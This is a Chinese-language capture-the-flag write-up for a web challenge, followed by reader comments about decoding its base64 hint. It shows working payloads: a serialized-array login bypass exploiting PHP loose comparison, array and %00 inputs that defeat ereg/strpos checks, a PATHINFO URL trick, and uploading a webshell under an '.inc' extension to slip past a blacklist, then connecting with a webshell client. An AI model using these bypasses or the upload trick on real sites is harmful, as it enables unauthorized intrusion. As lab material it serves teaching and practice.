三個白帽-条条大路通罗马系列2-Writeup

0x00 前言


好好的Web咋變成了misc?友谊小船,說翻就翻!!!!

[cce]http://4e79618700b44607c.jie.sangebaimao.com
[/cce]

0x01 獲取源碼


沒有Tips的代碼審計題,源碼獲取必定是第一關。右鍵看源碼,沒東西,看看header頭,果然有蹊蹺。

[cce]Set-Cookie source=WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr
[/cce]

於是乎,解得

[cce]#!php
substr(md5($_GET[‘source’]),3,6)==”81a427″
[/cce]

這個好熟悉的趕腳,在BCTF2016的homework出現過,雖然有點不同。立馬祭出神器

[cce]#!python
#!/bin/env python
#-*- encoding: utf-8 -*-

import md5

def mx(str):
m1 = md5.new()
m1.update(str)
return m1.hexdigest()

if __name__ == ‘__main__’:
m = ’81a427′
for x in range(1,100000000):
a = mx(str(x))[3:9]
if a == m:
print x
break
[/cce]

跑出47733

[cce]/index.php?source=47733
[/cce]

即可得到源碼包的下載地址/WoShiYuanMa_SGBM.zip

0x02 登陸的腦洞

[cce]#!php
$password = unserialize($_POST[‘password’]);
if($_POST[‘username’]=’admin’ && $password[‘username’] !== ‘admin’ && $password[‘password’] !== ‘admin’){
if ($password[‘username’] == ‘admin’ && $password[‘password’]==’admin’) {
$_SESSION[‘login’] = 1;
echo “

Click jump to the Backstage
“;
}
[/cce]

一開始以為是unserialize的腦洞,仔細看看代碼才發現是php的特性雙等號(==)的弱類型轉換漏洞。

[cce]#!php
(0 == “str”)=>true
(0 === “str”)=>false
[/cce]

即構造POST

[cce]username=admin&password=a:2:{s:8:”username”;i:0;s:8:”password”;i:0;}&submit=1
[/cce]

成功擼過~

0x03 二次驗證


[cce]#!php
if (isset($_POST[‘salt’]))
{
if (ereg(“^[a-zA-Z0-9]+$”, $_POST[‘salt’]) === FALSE)
{
exit(‘ereg’);
}
elseif (strlen($_POST[‘salt’]) < 11 && $_POST['salt'] > 999999999)
{
if (strpos($_POST[‘salt’], ‘*SGBM*’) !== FALSE)
{
$_SESSION[‘admin’] = 1;
echo “

Click jump to the Backstage
“;
}
[/cce]

咋一看、好像很難的樣子。

ereg處理數組會得到NULL,

同樣strlen處理數組也會得到NULL,

array() > int可以得到true,

strpos處理數組也會得到NULL

即構造POST

[cce]salt[]=v&submit=1
[/cce]

再次完美擼過。

然而最后官方的出题思路是:

bypass ereg函数了,查到了用%00

然后,根据php特性: 9e9 > 999999999

得到: salt=9e9%00*SGBM*

0x04 PATHINFO模式


[cce]#!php
$URL = $_SERVER[‘REQUEST_URI’];
$matches = array();
preg_match(‘/^([a-z\/.]+)$/’, $URL, $matches);
if(strpos($URL, ‘./’) !== FALSE){
exit(‘./’);
}
else if(strpos($URL, ‘\\’) !== FALSE){
exit(‘\\’);
}
else if(empty($matches) || $matches[1] != $URL){
exit(’empty($matches) || $matches[1] != $URL’);
}
else if(strpos($URL, ‘//’) !== FALSE){
exit(‘//’);
}
else if(substr($URL, -10) !== ‘/index.php’){
exit(‘substr($URL, -10) !== \’/index.php\”);
}
else if(strpos($URL, ‘p.’) !== FALSE){
exit(‘p.’);
}
else if($URL == ‘/admin/index.php’){
exit(‘$URL == \’/admin/index.php\”);
}
else {
if($URL !== ‘/admin/index.php’){
$_SESSION[‘power’] = 1;
exit(“

Click jump to the Backstage
“);
}
}
[/cce]

一開始各種繞過,始終無解,後來得到大神的Tips。

還是缺乏經驗啊~

LN牛的提示:

索题小二(516421987) 2016-05-20 1:12:49
多点框架经验应该能猜到

果斷百度到PATHINFO模式

URL:/admin/index.php/admin/index.php

成功擼過~

0x05 上傳之fuzz後綴


[cce]#!php
if($_FILES[“file”][‘size’] > 0 && $_FILES[“file”][‘size’] < 102400) { $typeAccepted = ["image/jpeg", "image/gif", "image/png"]; $blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps"];//总有一款适合你 $filearr = pathinfo($_FILES["file"]["name"]); if(!in_array($_FILES["file"]['type'], $typeAccepted)) { exit("type error"); } if(in_array($filearr["extension"], $blackext)) { exit("extension error"); } $filename = md5(time().rand(10, 99)) . "." . $filearr["extension"]; $destination_folder = '../uploads/'; $destination_folder .= date('Y', time()) . "/" . date('m', time()) . "/"; $file_name_path = $destination_folder.$filename; if (!file_exists($destination_folder)) mkdir('./' . $destination_folder, 0777, true); if (move_uploaded_file($_FILES["file"]['tmp_name'], $file_name_path)) { exit('upload success!'); } else { exit('upload false!'); } } [/cce]

逆天的黑名單:$blackext = [“php”, “php3”, “php4”, “php5”, “pht”, “phtml”, “phps”];

噁心的文件名$filename = md5(time().rand(10, 99)) . “.” . $filearr[“extension”];

靠的就是Fuzz後綴名。

一開始猜測是能執行解析的後綴名,然而基本上都過濾了。最後才想到還有一個inc的後綴。

要不是我前不久折騰過Phar包、我還不會想起有這個麼和php相關的後綴名。

[cce]#!php
buildFromDirectory(dirname(__FILE__) . ‘/virink’);
$phar->setStub($phar->createDefaultStub(‘virink.php’, ‘virink.php’));
$phar->compressFiles(Phar::GZ);
?>
[/cce]

生成一個virink.phar文件,你就會發現

[cce]#!php
Extract_Phar::go(true);
$mimes = array(
‘phps’ => 2,
…,
‘xsd’ => ‘text/plain’,
‘php’ => 1,
‘inc’ => 1,
‘avi’ => ‘video/avi’,

[/cce]

若以,測試了下inc後綴,果真能夠執行。

出題人的腦洞果然牛逼。

關於文件名爆破,一開始Fuzz的時候、因為懶,所以順手寫了個PHP腳本的POC

[cce]#!php
virink
TEXT;
$ext = ‘inc’;
fuck($ext, $contents);
?>
[/cce]

代碼有點不簡潔、、懶得改了,將就著用吧。

成功getshell~~

0x06 什麼鬼?Misc


getshell之後果真很蛋疼,很奔溃!

imstudy(214329772) 1:44:30
我都说拿完shell内心是奔溃的了,你竟然不信我

沒錯,imstudy就是出題人,少年,拿起你手中的狼牙棒,保證不打死就可以了~~

菜刀練上去,發現/var/www/目錄下是一個圖片flag.jpg

神器 Stegsolve + WinHex,提取出來一個壓縮包,,裏面是一個flag.txt。

然而還不是真正的flag,反而是N多汗(x,y,z)格式的東西。0-255之間,猜測是RGB值。

這可能要畫圖。

統計了一下行數、還不是正規的正方形尺寸。

默默折騰出一個POC,完美折騰出圖片。

[cce]#!python
#!/bin/env python
#-*- encoding: utf-8 -*-
# __author__ : Virink

from PIL import Image
import math

if __name__ == ‘__main__’:
count = len(open(‘flag.txt’,’r’).readlines())
j = int(math.sqrt(count))
i = j+2
for k in range(0,i/4):
sx = i-k
sy = j+k
if (sx * sy) == count:
break
c = Image.new(“RGB”,(sx,sy))
file = open(‘flag.txt’)
for x in range(0,sx):
for y in range(0,sy):
line = file.readline()#获取一行
rgb = line.split(“,”)#分离rgb
c.putpixel((x,y),(int(rgb[0]),int(rgb[1]),int(rgb[2])))
c.show()
c.save(“flag.png”)
[/cce]

通關,此時此刻,我的內心依舊崩潰中!

[cce]FLAG : miao{fb49ac8a528901913ea2c664c6a8d6a1}
[/cce]

Comment

评论:学到了v牛的装逼技巧,用繁体。。。

评论:@xyntax @巭孬嫑夯昆

评论:学到了v牛的装逼技巧

评论:@菜鸟
[email protected]:~$ echo ‘WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr’| base64 -d
YzNWaWMzUnlLRzFrTlNna1gwZEZWRnNuYzI5MWNtTmxKMTBwTERNc05pazlQU0k0TVdFME1qY2k
[email protected]:~$
[email protected]:~$
[email protected]:~$ echo ‘YzNWaWMzUnlLRzFrTlNna1gwZEZWRnNuYzI5MWNtTmxKMTBwTERNc05pazlQU0k0TVdFME1qY2k’| base64 -d
c3Vic3RyKG1kNSgkX0dFVFsnc291cmNlJ10pLDMsNik9PSI4MWE0Mjcibase64: 输入无效
[email protected]:~$ echo ‘YzNWaWMzUnlLRzFrTlNna1gwZEZWRnNuYzI5MWNtTmxKMTBwTERNc05pazlQU0k0TVdFME1qY2k=’| base64 -d
c3Vic3RyKG1kNSgkX0dFVFsnc291cmNlJ10pLDMsNik9PSI4MWE0Mjci

评论:@巭孬嫑夯昆 谢谢

评论:@巭孬嫑夯昆
还是不对啊
echo -n “WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr=”| base64 -d
YzNWaWMzUnlLRzFrTlNna1gwZEZWRnNuYzI5MWNtTmxKMTBwTERNc05pazlQU0k0TVdFME1qY2kbase64: invalid input

评论:@菜鸟 @xyntax 因为这个base64少了一个”=”,所以你解不对。。

评论:echo -n “WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr” | base64 -d
@L.N. 我开始也是想base64 不对啊 还是我哪里姿势不对

评论:misc。。。。

评论:好懵逼

评论:@菜鸟 base64编码

评论:WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr 这个是怎么解的

评论:virink 这是投稿的吧

评论:@泡泡君 他不是,

评论:果然 很NB…

评论:eated…… ate

评论:话说第一步那个字串怎么解的?

评论:繁體字

评论:这繁体看着真蛋疼

评论:这只猫,是我多年前的头像。

评论:大牛好,大牛你不会是Nu1L的吧

评论:怎么是繁体?难道是对岸的朋友?

评论:路過

发表评论

电子邮件地址不会被公开。 必填项已用*标注